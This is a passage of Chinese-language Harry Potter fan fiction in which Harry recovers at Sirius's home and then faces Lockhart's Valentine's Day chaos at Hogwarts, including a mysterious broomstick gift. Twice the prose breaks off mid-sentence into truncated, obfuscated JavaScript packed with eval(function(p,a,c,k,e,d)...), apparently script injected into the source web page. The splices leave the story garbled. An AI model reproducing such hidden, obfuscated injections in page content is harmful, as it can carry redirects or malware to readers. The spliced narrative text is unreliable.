“听着。”小天狼星打断他,语气一下子硬起来,可眼里还是软的。他抓住哈利的肩膀,手劲大了点,“我搞不懂时间是怎么回事,也不懂那些什么时间、灵魂法则,但我知道一件事——你没有选择来到这里。你不是故意跑来的。”他的灰眼睛死死盯着哈利,“可要是你没来,我们还蒙在鼓里,不知道伏地魔在暗中谋划着什么。等他回来,说不定死的人更多。那个预言还在,谁知道会怎么样?也许我们一个都跑不掉。” 哈利摇摇头,喉咙堵得说不出话。那股愧疚扎得太深,他只能低下头,不知道该说什么。小天狼星也不再多说,就默默地蹲在那儿陪着他。 过了好一会儿,小天狼星叹了口气,脸上挤出一丝笑,“你瞧瞧自己,哈利,脸色比刚才还差。是不是哪里不舒服?” 哈利用手背胡乱抹了把眼睛,垂着头没吭声。小天狼星伸手拉他:“起来吧。” “天快亮了,”他尽量让声音轻快点,“这儿冷得要命。我们上楼去。” 哈利犹豫了一下,还是抓住了小天狼星的手,借力站起来。腿蹲得发麻,他一晃差点摔倒,小天狼星赶紧扶住他,胳膊稳稳地托着他。 “你就该老实待着。”小天狼星嘀咕,语气里没真生气,“魔力耗尽不是闹着玩的。” “睡不着。”哈利低声说,“想得太多。” 小天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小天狼星正对着滋滋作响的平底锅束手无策,闻言一脸窘迫地回头:“呃……我能行!就差一点!” 哈利没多说,接过锅铲,熟练地翻动培根,调小火,又打了几个鸡蛋到旁边的锅里,动作流畅,完全不像刚刚小天狼星那般乱作一团。 “我还以为你一个人住会经常自己做饭呢?”哈利随口问,语气轻松了点。 “当然会!”小天狼星先是梗着脖子反驳,又有些底气不足地嘟囔,“只是……偶尔也会想换换口味。莉莉的手艺谁比得上?去他们那儿蹭饭多方便……而且酒吧里的东西也……呃……挺顶饿的。傲罗的工作也忙,你懂的……” 他盯着哈利的动作,眼神里充满了惊讶:“嘿!你这手艺真不错!在哪儿学的?霍格沃兹可不教这个。” “嗯,以前住麻瓜亲戚家学了点。”哈利含糊地回答,低头翻着鸡蛋,避开德思礼家的细节,“后来总得给泰迪做点吃的。” 听到“麻瓜亲戚”,小天狼星递盘子的手一顿,眼神闪过一丝怒意。他飞快地瞥了哈利一眼,脸色沉下来,下颌紧绷,像在压抑什么,随即抓起抹布用力擦着台面——那块台面明明不脏。过了几秒,他深吸一口气,转回来,声音沙哑了些:“啊,对,泰迪……你把他照顾得真好,哈利。不容易……” 他顿了顿,靠着操作台,斟酌着说:“莱姆斯他……” 哈利立刻抬起头,看向小天狼星:“所以你们都知道了?是詹姆斯说的?那……莱姆斯他对泰迪……” 小天狼星点了点头,承认道:“我们早就知道了。至于莱姆斯……”他皱了下眉,“我最近没见他。他可能得缓缓,你知道他那人,老觉得自己会拖累别人。不过他一直很喜欢泰迪,这我知道。哈利,给他点时间,会好的。” ———— 早餐终于摆上了桌——盘子里的煎蛋黄澄澄的,培根也煎得恰到好处,吐司烤得金黄,黄油融在上面散发出香气,再配上鲜榨的南瓜汁,这顿早餐简单却温馨。两人坐在厨房的长桌旁,晨光从大窗户洒进来,驱散了夜晚的阴霾。 一时没人说话,只有刀叉轻轻碰着盘子的声音,和窗外隐约的鸟鸣。 “感觉怎么样?”小天狼星先打破沉默,仔细打量着哈利的脸色,“魔力恢复了点没?” 哈利拿起魔杖,对着桌上的糖罐试了试,杖尖闪了几下就熄了,糖罐一动不动。他无奈地摇了摇头:“还不行,还是很累。” “那就别乱动!”小天狼星放下刀叉,身体前倾,语气急切起来,“好好休息才是正事!邓布利多说了你需要静养。” 哈利点点头,想找个轻松点的话题,“我看到你卧室里放着一把扫帚……” “哦,那个啊?”小天狼星眼里流露出一丝怀念,“是彗星260。我六年级那年攒钱买的。老家伙了,现在飞起来晃晃悠悠,速度慢得跟麻瓜老爷车一样。跟光轮系列没法比,更别提火弩箭了!” “是啊,火弩箭……”哈利下意识接话,提到顶级飞天扫帚时眼睛亮了起来,脑海里闪过那流线型的影子,找球手的本能让他脱口而出,“那速度真的快得惊人。我学生时候有过一把,感觉棒极了!是你——”他话说一半忽然停住,意识到自己差点说漏嘴,把两个不同时空的小天狼星混淆了。这个小天狼星对另一个时空的事一无所知,更不知道他曾送过哈利一把火弩箭。 哈利赶紧端起南瓜汁喝了一大口,试图掩盖刚才的失言,脑子飞快转着,想把话题圆回来。“不过,”他放下杯子,尽量让语气自然又兴奋,“火弩箭虽然快,但也不是极限!后来……大概2001年那会儿吧,市面上出了一款更厉害的,叫‘白恒星’!当时我一咬牙就买了一把!” “白恒星?”小天狼星果然被吸引了注意力,好奇地挑起眉毛,“比火弩箭还快?那得是什么样?” “那感觉简直……无与伦比!快得多!”哈利见成功转移了话题,也真的来了兴致,回忆起第一次驾驭那把扫帚的感觉,眼睛都在发亮,“速度至少是火弩箭的两倍!而且特别灵敏,平衡感好得没话说,像朗斯基假动作那种高难度的花样,用它做起来都觉得轻松多了!刚拿到手那阵子,我一有空闲就忍不住要飞出去兜几圈。有时候跟罗恩他们一起飞,罗恩经常抱怨他们只能在后面吃灰!” 他忍不住笑了起来,继续说:“材质也感觉很特别,扫帚柄好像用的是紫檀木,握着特别舒服,尾巴上的枝条又轻又结实。总之,那是我飞过最棒的扫帚,真的!”他描述着那无比畅快的飞行体验,越说越激动,脸上不由自主地露出了怀念的笑容。 小天狼星听得入了迷,眼中满是向往。“梅林的胡子……两倍快?还能轻松做朗斯基假动作?”他啧啧赞叹,随即又像是想到了什么,自嘲笑了笑,“你刚刚说哪年来着?2001年吗?听起来真够远的。不知道那时候,我这把年纪还能不能驾驭那速度。” 小天狼星话音刚落,哈利只觉得像被一桶冰水泼头浇下—— 2001年……在他原来的世界里,小天狼星根本没能活到那时候。 他脸上的兴奋和笑意瞬间没了,张了张嘴,一个字也挤不出来,刚才聊扫帚的热情一下子跌到谷底。哈利没法告诉眼前这个对未来满怀期待的小天狼星,他曾经面对的命运。 小天狼星敏锐地察觉到哈利的沉默,笑容收了收,关切地问:“怎么了,哈利?我说错什么了吗?” “……没有。”哈利猛地回过神,低头抓起叉子戳着盘里的煎蛋,声音有点闷,“没什么。”他需要赶紧换个话题,一个足够安全、不会触及那些痛楚的话题。他抬起头,勉强扯出一个笑容,看向窗外,“对了,小天狼星,你为什么选择住在这里?这里很美,但离伦敦挺远的。” 小天狼星担心地看了他好几眼,见他似乎确实不想再谈扫帚,才顺着他的话,目光转向窗外。“詹姆斯和莱姆斯陪我找了很久才找到这儿。安静,自由。我给它起了个名字——峡谷之屋。我们在这儿有过不少好时光。”他转回头,语气有点不确定,又带着期待:“你……喜欢这里吗,哈利?” 哈利抬起头,对上小天狼星那双带着期盼的灰眼睛。这眼神,这栋房子的温暖和安全感,还有眼前这个笨拙却真实的小天狼星—— “我很喜欢,小天狼星。”他肯定地回道,“这里很好。很有……家的感觉。” 小天狼星紧绷的肩膀松了下来,他咧嘴一笑,眼角的疲惫被笑容彻底赶走。“那就好,”他拿起叉子,叉起一块培根塞进嘴里,含糊地说,“那就好。” 91. 情人节礼物?(上) 哈利踏进霍格沃兹大礼堂时,脚步顿了一下,差点以为自己走错了地方。四面墙壁挂满了俗艳的粉红色大花,廉价香水混着糖果的甜腻气味浓得呛人,硬生生往鼻腔里钻。浅蓝色的天花板正往下飘着心形的五彩纸屑,黏在桌椅、地板和学生的头发上。学生们三三两两聚在一起,一些人兴奋地指着某些角落,另一些则忙着躲避头顶飘落的、黏糊糊的纸屑,人群中时不时爆发出一阵哄笑声。 一个背着竖琴、插着金色翅膀的矮人面无表情地从他身边挤过,哈利这才恍然大悟——今天是情人节。他感到胃里一阵翻滚,十二岁那年的记忆猛地撞进脑海,那首可怕的诗歌和矮人沉重的屁股……他下意识地加快脚步走向教师席。 教师席上传来洛哈特那浮夸的高音,他穿着与装饰品色调一致的粉红长袍,正面向全礼堂的学生们大声宣布:“情人节惊喜!这些可爱的爱神信使将为你们传递心意!快请他们为你们心仪的对象送上贺卡、歌声或诗句吧!” “梅林保佑,洛哈特可别再弄出什么新花样。”哈利低声咕哝,迅速在角落找了个座位,丝毫没有去凑热闹的兴趣。他仔细拂去盘子上的纸屑,拿起一块微焦的吐司咬了一口。 吐司焦脆的口感压住了礼堂里甜腻的香气,反而清晰地勾起了另一种味道——峡谷之屋的味道。 在那里休养的最后一天早晨,也是他负责早餐。小天狼星不服气,非要插手,来证明自己的厨艺不算一无是处。结果可想而知——面包外焦里生,煎蛋粘在锅底,糊成一团。哈利看着小天狼星手忙脚乱试图补救的样子,忍不住笑出了声。 “嘿!”小天狼星有些恼火地瞪了他一眼,又自己先泄了气,抓了抓头发,“好吧,我承认,做饭比对付黑魔法难多了。下次……” 下次。这个词落在哈利心里,很轻,却带着暖意。 他靠在料理台边,瞅着小天狼星笨手笨脚地收拾残局,心里生出一丝久违的安宁。那是他来到这个时代后,从未有过的彻底放松。没有迫在眉睫的危险,没有需要扮演的角色,没有无时无刻的警惕。 多数时候,小天狼星就在那儿,有时闲聊几句,有时各做各的——哈利窝在旧扶手椅里翻书,角落里的老式魔法留声机正低声播放着“古怪姐妹”摇滚乐队的老歌,小天狼星陷在对面的沙发里,一条腿随意地搭在扶手上,手指在膝盖上轻敲着节拍,偶尔会有一绺垂下的黑发随着他低声哼唱的、有些年头的摇滚调子轻轻晃动。 窗外的鸟鸣,风吹过峡谷的呼啸,和小天狼星那不成调的哼唱……这些细碎的声音凑在一起,像一首摇篮曲,让哈利紧绷的神经一点点松弛下来。 他不再像最初那样,小心翼翼地揣摩小天狼星的每个眼神和话语,猜测那份接纳是出于责任还是其他。小天狼星那种坦率的、非要照顾好他的姿态,让他那颗因“闯入者”身份而悬着的心,终于安稳落地。 是的,对小哈利的愧疚依然像一根细针,时不时刺痛他。但在这间洒满阳光、充满生气的小天狼星的房子里,归属感正悄然生长。 “你不用天天守在家里陪我。”哈利曾试探着问,“工作怎么办?” 小天狼星只是满不在乎地挥挥手:“工作?哈!我的顶头上司是谁你忘了?詹姆斯敢不批我的假?再说,我这是‘特殊情况’,履行我作为教父的职责,懂吗?” 面对小天狼星那份理所当然的亲近和随意,哈利只能无奈地笑了笑。 当然,安宁之下并非全无阴影。手臂上的黑魔标记自从被斯内普强制激活后,就一直沉寂着,伏地魔的反常沉默令人不安。“小克劳奇”的身份是否还能维持?泰迪在学校还好吗?虽然邓布利多和斯内普都在,罗恩和赫敏也陪着他,但担忧总会不时浮现。 就在那个早晨,他拿起小天狼星随意放在桌上的《预言家日报》,目光被角落里一条简短的消息吸引住:“魔法部重要捐助人、霍格沃兹校董会成员卢修斯·马尔福先生,日前因‘长期为魔法界事务操劳过度’突发疾病,已入住圣芒戈魔法伤病医院接受治疗,目前情况稳定,但需长期静养。其家人拒绝对此事发表任何评论。” 哈利的心沉了一下。措辞官方而模糊,但他瞬间就明白了——卢修斯的情况绝非“操劳过度”那么简单。是冈特老宅那个阴险的精神陷阱…… 那一刻,他清晰地意识到,他短暂的“假期”结束了。他不能再沉溺于这份安宁。霍格沃兹的职责在召唤,伏地魔的阴影从未远离,他必须回去,去和邓布利多,还有斯内普商量接下来的对策。 他记得自己是如何平静地向小天狼星提出告辞的。小天狼星似乎并不惊讶,眼神里闪过一丝不易察觉的失落,但很快便点头表示理解。“嗯,我知道,”他只是说,“你的身体好多了,霍格沃兹那边也确实需要你。”他没有多问,只问是否需要送他。哈利摇了摇头。 晚餐后,哈利收拾好简单的行李,站到壁炉前。小天狼星跟过来,递给他装飞路粉的小碗,手指碰着时顿了一下,然后插兜站到几步外,深深地看了他一眼。 “我很高兴你来了,哈利。”他的声音有些干涩,“真的。” 哈利接过飞路粉,抓了一把。“那么……回见?”他转身对小天狼星说,道别的话到了嘴边又不知该怎么开口。 就在他要念出目的地时,小天狼星突然叫住他:“等一下,哈利。” 哈利停下动作,转过头,有点疑惑。 小天狼星的眼神有些躲闪,不敢直视他的眼睛,显得非常局促。“那个……你之前说,你挺喜欢这里……峡谷之屋,对吧?” 哈利更摸不着头脑了,但他还是认真地点头:“是啊,小天狼星。我很喜欢这里。” “那……那,”小天狼星憋了半天才开口,语速快得有点结巴,“学校四月份不是会放复活节假吗?我知道你可能有别的安排,或者想回……呃,你自己的住处?但,但如果你想换个地方过节……只是一个想法……”他的声音越来越轻,几乎消失在空气里。 哈利的心脏停跳了一拍,紧接着又以擂鼓般的速度狂跳起来。他简直不敢信自己的耳朵,手里的飞路粉都差点洒了,“你是说……来这里过节?” “对!”小天狼星被他的反应惊了一下,立刻慌忙解释,“我是觉得……这里挺大的,就我一个人住着……你可以带着泰迪一起来!当然,如果你有别的安排,或者觉得不方便,完全没关系,我就是随口问问……” “我没有别的安排!”哈利飞快地打断了他,“我当然想来!非常想!小天狼星,我从来没有和你一起过过复活节!以前放假我都是待在学校的……那就这么说定了?复活节假期?我们第一天就过来,可以吗?我和泰迪一起!房间够住吗?泰迪肯定会高兴坏的!”他一口气说完,迫不及待地应下这个梦一样的邀请。 小天狼星愣住了,呆呆地看着哈利因为激动而泛红的脸颊,看着那双亮得惊人的绿眼睛。然后,他眼角舒展开来,嘴角一点点向上翘起,最后露出一个哈利从没见过的灿烂笑容。 “……够!当然够!那就说定了,哈利!复活节假期,第一天就来!” ———— 那笑容的温度还残留在哈利心头,连带着他此刻的嘴角也不自觉地上扬。这几天,那个复活节的约定像一颗埋在心底的种子,时不时会探出头来,让他无端地感到一阵轻快。 一丝略带苦涩的魔药气味压过了周围甜腻的香水味,飘进哈利的鼻腔。紧接着,“佩弗利尔教授看上去心情不错。被这么多热情的告白包围,感觉……一定很好?”一个冰冷、拖长的声音将哈利从回忆里拽了回来。 他眨了眨眼,看向声音的来源。斯内普正端坐在他旁边的空位上,手里端着茶杯,脸上带着那种熟悉的嘲讽弧度。就在哈利看过去的那一刻,他捕捉到斯内普的视线极快地从自己面前的桌上挪走,快得几乎像个错觉。哈利顺着刚才那道目光疑似看望的方向低头看去,这才发现一小摞粉红色和淡紫色的信封不知何时堆在了自己盘子边上,好几封上面还装饰着俗气的心形图案和闪粉。 在一瞬间的尴尬之后,哈利终于开始慢一拍感到了意外。斯内普竟然主动坐在他旁边?这太奇怪了——毕竟过去一周多,这个人明明都恨不得离他有整个礼堂那么远,长桌另一端也空空荡荡的,他为什么偏偏坐到了这里?然后还用那种该死的、自己居然有点怀念的尖锐嘲讽作为开场白?他到底想干什么?故意坐过来让自己难受?还是想近距离看自己被这些粉红色的玩意儿纠缠的笑话? “这些不是我——”哈利下意识想解释,但斯内普已经垂下眼帘,专注地看着自己的茶杯,完全无视了他。 桌上的信封开始发出嗡嗡的声响,催促着收件人打开。哈利认命地拿起最上面一封,小心地拆开——一股浓郁得令人头晕的花香扑面而来,一朵小玫瑰从信封里蹦出来,转着圈跳起了舞。 “愿教授的每一天如玫瑰般芬芳,希望您能给我单独补习的机会。崇拜您的六年级学生,E.M.”玫瑰用尖细的声音唱完,啪地一声消失了。 哈利感到一股热意爬上了颈后,飞快地将剩下那些花哨的信封拢作一堆,打定主意看也不看,等会儿回办公室就将它们永远埋葬在抽屉的最底层。 他又偷瞄了旁边的斯内普一眼。那家伙连眼皮都没抬,像是完全拿他当空气。 哈利在心里叹了口气。距离他从峡谷之屋回到霍格沃兹,已经过去一周多了。城堡依然熟悉,但有什么东西,或者说某个人,变得极其不对劲。 斯内普不见了。 当然,不是真不见了。确切说,是从哈利的生活里“蒸发”了。他照旧准时坐到教师席上,但他周身那股拒人千里的冷硬气息却像堵墙一样。 哈利不是没尝试过。有一天早上,他特意等到斯内普在教师席就座后,才端着盘子走过去,想坐到他旁边的空位上——哪怕不说话,就坐着也行。可离他还有三步远时,斯内普就像后脑勺长了眼,动作快得像被蜇了一下,丢下几乎没动过的早餐,头也不回地大步离开了礼堂。哈利端着盘子僵在那儿,盘里的吐司突然没了香味。 还有一回,哈利算好下课时间,想在魔药课教室外的走廊“碰巧”遇上他,趁课间说句话。结果他刚开口叫了一声“斯内普教授”,教室里就“砰”地一声巨响,随后是学生的尖叫——又一个坩埚炸了,浓烟滚滚。斯内普连眼皮都没抬,魔杖一挥把那个倒霉蛋甩出门外,头也不回地吼道:“带他去医疗翼,别让他死在我教室门口。”说完黑袍一甩,便径直大步流星地走向了通往地窖深处的方向,不给哈利任何回应或追上去的机会。哈利只能领着那个满头脓包的学生去医疗翼。 至于去地窖拜访?那扇熟悉的石门对他关得死死的。“口令错误”或更直白的“斯内普教授今日不见客”是他得到的全部回应。 为此,西比尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不仅如此,让人更加不解的是,泰迪前几天无意中提起,斯内普正在研究改良版的狼毒药剂。改良版!哈利记得清清楚楚,在他那个“过去”,斯内普只是迫于邓布利多的命令才为卢平提供原始狼毒药剂,而且相当的不情愿。可现在,他是主动在研究,为了一个他从学生时代起就厌恶的人。就算是为了泰迪,这份心思也太……哈利觉得自己完全搞不懂斯内普了。 这真的不像斯内普。可斯内普到底是什么样的人?他脑海里一会儿是地窖里那个油腻刻薄的身影,一会儿又变成尖叫棚屋里那个垂死托付记忆的男人;这边是冷冰冰拒他于门外的背影,那边又是泰迪口中在地窖深处为卢平默默熬制改良药剂的人;是那个谨慎隐忍多年的间谍,也是那个不顾一切启动黑魔标记的同伴——这些碎片在他脑中碰撞,拼不出完整的轮廓。斯内普就像一个由无数尖锐碎片组成的棱镜,每一面折射出不同的光,却又都蒙着一层阴影。 哈利试图将这些矛盾的碎片拼凑起来,一边出神地想着那些令人费解的事,目光漫无目的地落在斯内普身上,然后才像是突然聚焦般,注意到斯内普正垂着眼喝茶,侧脸迎着晨光。光线勾勒出他高挺的鼻梁和清晰的下颌线条——哈利头一回发现,撇开那身黑袍和常年的讥讽表情,斯内普的侧脸轮廓其实相当分明。也许是因为没有说话,那双总是抿成刻薄弧度的嘴唇此刻也显得平和了些。他的目光不经意地停在他低垂的浓密睫毛上,那睫毛在苍白皮肤上投下小扇子似的阴影,随着极轻微的呼吸微微颤动着。 一种奇异的感觉,哈利也不知道该怎么形容——也许就是那睫毛颤动的影子,极轻柔地掠过了他的心口,让他的呼吸跟着停顿了一瞬。他看得有些出神,完全忘记了时间和场合,直到对方的肩膀似乎动了动。哈利猛然回神,像被烫着一般飞快地挪开视线,脸上瞬间烧了起来。他刚才……竟然盯着斯内普的睫毛发呆? 该死的,我在胡思乱想些什么!他对自己这种不受控制的反应感到恼火,将这归咎于连日来的疲惫、混乱以及那份该死的愧疚感。 斯内普显然察觉到了他之前那长时间的注视。他不悦地抬起眼,几缕微卷的黑发随着动作滑过瘦削的脸颊,浓黑的眉头皱紧,先前低垂时分外清晰的长睫毛,现在完全被那双黑眼睛里重新燃起的冰冷和严厉所遮掩:“看够了吗,佩弗利尔?要我摆个姿势让你研究吗?”他的声音比刚才更加冰冷。 哈利的脸烧得厉害。被当场抓包的尴尬,一周多来被无视的委屈和困惑,加上刚刚那些连自己都吓一跳的想法,彻底打破了他硬撑的冷静。“我只是——”他想解释,可一瞧斯内普眼里那毫不遮掩的嘲讽,话到嘴边全成了气。他脑子一热,反而扯出一个带着火气的笑,迎上那双深不见底的黑眼睛:“哦?斯内普教授终于看到我了?我还以为我是透明的呢?” 他说完,自己也愣了一下。胸口那股憋闷之气,连同一丝他自己都没察觉到的委屈,竟随着那句冲动的话消散了些许。他确实理亏,可比起过去一周多那种猜谜游戏和无声的墙壁,他宁肯斯内普像今天一样阴阳怪气的讽刺挖苦他。 斯内普握着茶杯的手指关节收紧,下巴绷得更紧。他没吭声,鼻翼微微一动,发出一声轻蔑的冷哼。他猛地把茶杯往桌上一放,杯底磕出清脆一声响。一片心形的五彩纸屑恰好悠悠飘落在他刚要抓起的《预言家日报》上,斯内普用指尖极其嫌恶地将其弹开,随即‘哗啦’一声抖开报纸,高高举起,报纸边缘差点戳到哈利的鼻子,彻底挡住了他的视线。 92. 情人节礼物?(下) 矮人丘比特们简直把骚扰黑魔法防御术课堂当作了一场游戏。 上午的黑魔法防御课上,哈利正向五年级的拉文克劳和赫奇帕奇学生们演示“昏昏倒地”咒的标准动作。教室前方立着一个练习用的假人,木质胸膛上已有几处红色光束留下的焦痕。 “看清楚,”哈利说,魔杖稳稳地指向假人,“咒语的关键在于专注和准确。想象你的意念凝聚在杖尖,然后——昏昏倒地!” 一道耀眼的红光从他的魔杖尖端射出,精准地击中了假人的胸口。假人向后一仰,虽然没有真的“昏倒”,但剧烈晃动了好几下。 “重要的是出手的速度和决心,”哈利放下魔杖,转向学生,“不要犹豫,犹豫会让咒语威力减弱,甚至打偏。好了,谁想上来试试,目标是假人。” 教室里转眼间举起了好几只手,学生们跃跃欲试。哈利正要开口,门“砰”地被撞开,一个矮人跌跌撞撞闯入。他背上插着一对金色小翅膀,头顶歪斜的金环摇摇欲坠,手里攥着一把小竖琴。 “佩弗利尔教授!”他粗声喊道,小眼睛在教室里扫了一圈,“你的情人节讯息!” 底下响起一阵压抑的兴奋嗡嗡声,不少学生挺直了腰背,互相挤眉弄眼、交头接耳起来。哈利刚抬起的手又放了下来,脸上挤出一个有些僵硬的微笑。 “谢谢,但我们正在上课。能否等到下课后——” 矮人完全无视了他的话,大步走到讲台前,用力拨动竖琴弦,刺耳的声音让几个学生捂住了耳朵。 “来自一个特别崇拜你的人,”矮人清了清嗓子,开始用走调的声音唱道: “黑暗中你宛如一束光, 如同星辰照亮我心房, 盼望能在你的课堂上, 多听几堂精彩的讲章。” 教室爆发出一片笑声,有人开始起哄。哈利感到额角一抽,脸颊有些发烫。他清了清嗓子,试图维持脸上的平静。 “谢谢,非常有创意。”他对矮人说,“现在我们能继续上课了吗?” 矮人点头,晃晃悠悠地离开。哈利清了清嗓子:“好了,回到昏迷咒。克利尔沃特小姐,请上前来尝试。” 佩内洛普刚举起魔杖,教室门又是一震,伴随着更响亮的撞击声被推开,探进来另一个戴着翅膀的脑袋,挥舞着一束会变色的魔法花束。 “佩弗利尔教授!”他高喊,“急送情人节礼物!”不等哈利回应,他夸张地递上花束:“这是送给您的——霍格沃兹最英俊、最勇敢的教授!希望今晚能和您共进晚餐!” 笑声和口哨声此起彼伏,有人甚至开始鼓掌。佩内洛普·克利尔沃特捂着嘴笑,完全忘记了她要施展的咒语。 “好了,同学们,安静!”哈利提高声音,试图控制局面,“这些都很有趣,但我们必须继续课程。” 在接下来的半小时内,矮人们一个接一个闯进来。哈利忍无可忍地在门口设下屏障咒,还用缴械咒夺走一个矮人手里的贺卡。但这挡不住矮人们在门外冲撞的砰砰声,让学生们完全无法集中精神。每次门口传来矮人的撞击声,或者走廊里有人被矮人绊得惊叫一声,课堂里就会爆发出一阵压抑不住的窃笑和骚动。 哈利不得不一再提高音量才能盖过学生们的议论。他已经彻底放弃讲授新内容,转而让学生们自行练习之前学过的咒语。 下课铃响了,学生们收拾书包准备离开。哈利刚解开屏障咒,立马又有一个身影挤了进来——比先前矮人更高大,步伐沉重,手中握着一把巨大的竖琴。“佩弗利尔教授!”他粗声喊道。 还没走出教室的学生好奇地停下脚步,等着看接下来的表演。 哈利疲惫地抬起头。 “又一封情人节讯息?” 矮人咳了两声,拨动琴弦,唱道: “他的眼睛绿如腌蟾蜍, 他的头发黑似乌鸦羽, 神秘英勇的佩弗利尔, 用魔法驱散黑暗无数!” 哈利握着魔杖的手指收紧了。这首歌的调子,这歌词……而且那声音——绝对不是矮人。他眯起眼,低喝:“韦斯莱!” 话音刚落,门外探出另一个一模一样的脑袋,正是另一个韦斯莱双胞胎,看来他一直躲在外面等着这一刻。 双胞胎再也忍不住,放声大笑起来。扮演矮人的那个迅速脱下道具服装,两人分别站在教室两端,向剩下的学生鞠躬致意,引来一阵掌声和口哨。 哈利的太阳穴突突直跳。这两个精力过剩的捣蛋鬼不知从哪里来的灵感——这首诗歌的前半段,竟然和当年让他尴尬到想钻地洞的诗一模一样! 他深吸一口气,强忍住给他俩一人一个昏昏倒地的冲动,最后还是以“扰乱课堂秩序和冒充爱神信使”为由,第一次给格兰芬多扣掉了足足二十分——他发誓,这绝对不是公报私仇。 珀西·韦斯莱捧着一摞羊皮纸出现在门口——下一节是格兰芬多六年级的课。“这里是怎么回事?”他看到自己的两个弟弟带着一群学生起哄,立刻皱起眉头,摆出级长的架势,“弗雷德!乔治!你们又在——” “珀西,”哈利让自己的声音显得足够严厉,“管好你的弟弟们,把他们带走。” 珀西瞥了眼哈利不怎么好看的脸色,又看了看笑得没心没肺的双胞胎,明智地闭上了嘴,一手一个揪住弗雷德和乔治的耳朵,把他们拖出了教室。 ———— 好不容易熬完两节课,哈利几乎是从教室里逃出来的,只想躲进办公室喘口气。矮人们可不这么想。他们在每个走廊里堵住他,把花里胡哨的情人节礼物塞到他手里——卡片、小玩意儿,凡是会闪会响的都有。到中午时分,他的口袋里塞满了呱呱叫的小巧克力蛙、像星星一样闪亮的羽毛笔,还有一碰就自己朗诵情诗的小卷轴。而这只是一个上午的“收获”。 午餐时分的大礼堂成了洛哈特情人节计划的中心舞台。粉色气球悬浮在魔法天花板下,花环绕着石墙挂了一圈,丝带垂下来打着卷,空气里满是令人头晕目眩的花香。教师席前方,洛哈特穿着晃眼的粉色长袍,咧着嘴笑得能闪瞎人眼。 “二十六封!”他高声向麦格教授宣布,“到目前为止已经收二十六封情人节贺卡了!” 麦格教授板着脸,嘴唇抿成一条硬邦邦的线,脸颊上一块肌肉跳了一下,像在强忍着不发作。弗立维教授则发出一声细微的呻吟,干脆把脸埋进了自己的双手里,似乎实在看不下去这乱糟糟的场面。只有斯普劳特教授还保持着镇定,嘴角微微一弯,露出一个半无奈半好笑的笑。 哈利低着头挤进教师席,尽量让自己不起眼,只盼着那些矮人丘比特能让他安安静静吃顿饭。 礼堂里的景象比早上更加混乱。矮人丘比特们像一群没头苍蝇一样到处乱撞,互相绊着脚、推来搡去,抢着先送信。洛哈特满怀期待地张开双臂,整理着自己的领结,准备迎接新一轮的爱慕表达。可矮人们看都不看他一眼。他们呼啦啦冲过去,翅膀扑腾着,吵吵嚷嚷地直奔教师席另一头的哈利。洛哈特的笑脸僵住了,双臂尴尬地悬在半空,眼睁睁看着矮人们从他身边跑了过去。 看到一群矮人如同闻到蜜糖的苍蝇般朝自己扑来,哈利胃里又是一阵翻腾。他后悔了,他真不该来吃这顿午饭。 他刚要把椅子往后推,想干脆溜走,一个矮人以惊人的爆发力冲出了重围,他手里没有拿信,而是扛着一个长长的包裹,上面扎了个粉红大蝴蝶结,夸张得差点把他压倒。但真正让全场看呆的是矮人头顶——西比正稳稳地坐在那里,也打扮成了丘比特模样,戴着一对小小的金色翅膀和一顶歪斜的爱神帽子,手还懒洋洋地挥着,像在指挥着方向。 整个礼堂瞬间安静了下来,所有人的目光都聚焦在这诡异的“爱神组合”上。 “见鬼。”哈利低声咒骂,飞快瞥了眼教师席——很好,斯内普不在。他重重地松了口气,简直不敢想象如果斯内普看到这一幕会是什么表情。 矮人一路推开围观的学生,径直冲到哈利面前,把那个长长的包裹往桌子上一扔,发出“砰”的一声,扯着嗓子宣布:“哈利·佩弗利尔教授!你有一份爱的礼物!拿好!” 矮人粗声粗气地喊完,大概认为任务已经完成,正准备笨拙地转过身离开。就在这时,稳稳坐在他头顶金色圆环里的西比慢悠悠地开了口,用刻意拖长的腔调评论道:“啧啧,真没看出来,佩弗利尔,看样子你比那边的花孔雀更受欢迎嘛。”说完,它用手拍了拍矮人的脑袋,像是在示意他可以走了。矮人这才一转身,咚咚咚地跑掉了。 礼堂里安静了一瞬,紧接着爆发出一阵更大的嗡嗡议论声。泰迪带着罗恩和赫敏第一时间挤了过来。 “哇!哈利!这是什么?”泰迪瞪大了眼睛,好奇地戳了戳那个巨大的粉色蝴蝶结。“你不拆开看看吗?” “看起来像……一把扫帚?”罗恩猜测道,声音因兴奋而提高了八度。 在众人的注视下,哈利只能硬着头皮拆开那个夸张的蝴蝶结。里面果然是一把崭新的飞天扫帚——线条流畅,木质光滑,尾部的枝条修剪得整整齐齐。哈利一眼就认出了那个型号。 “梅林啊!”罗恩倒吸一口凉气,“是光轮2001!最新款!这得多少加隆?谁送的?” 学生们一阵惊呼,纷纷伸长脖子想看清楚。 “这可真是……一份非常贵重的礼物。”赫敏凑近了一些,眼神顺着扫帚的边沿看,带着惊叹和好奇,“教授,谁会送您这么一份礼物呢?” 哈利完全没头绪。他确实有过光轮2000,后来还有了火弩箭,工作后又买了白恒星——但光轮2001?当年在格兰芬多队的时候,这款扫帚几乎是马尔福和斯莱特林队的代名词,他曾对此嗤之以鼻。可现在,偏偏在情人节,有人送了他一把? 哈利拿起扫帚,一张小卡片从包装里滑出来,掉到桌上。他捡起来一看,上面两行漂亮的花体字写着: “为你血脉里的天赋,赠予在天空中书写传奇的找球手。” 没有署名。 哈利皱起眉头。这份礼物本身就足够奇怪了——暑假答应过会担任魁地奇顾问后,他确实在开学后抽空去指导过几次格兰芬多队,但都只是进行战术讲解和动作要领指导,从来没有亲自上场飞过。 因此,除了格兰芬多队的球员们,学校里绝大多数学生对他的飞行天赋应该是一无所知,更别提知道他是找球手了。而这两句话,送礼人分明对他的过去了如指掌。可谁会知道这些? 哈利脑海中跳出小天狼星的名字,但立刻觉得这不可能。他随即在记忆里搜索过去几天的对话细节,很确定他们从未谈论过哈利的魁地奇历史。至于韦斯莱家,哈利摇了摇头,他们不可能有这份闲钱,也没有理由送如此昂贵的礼物。 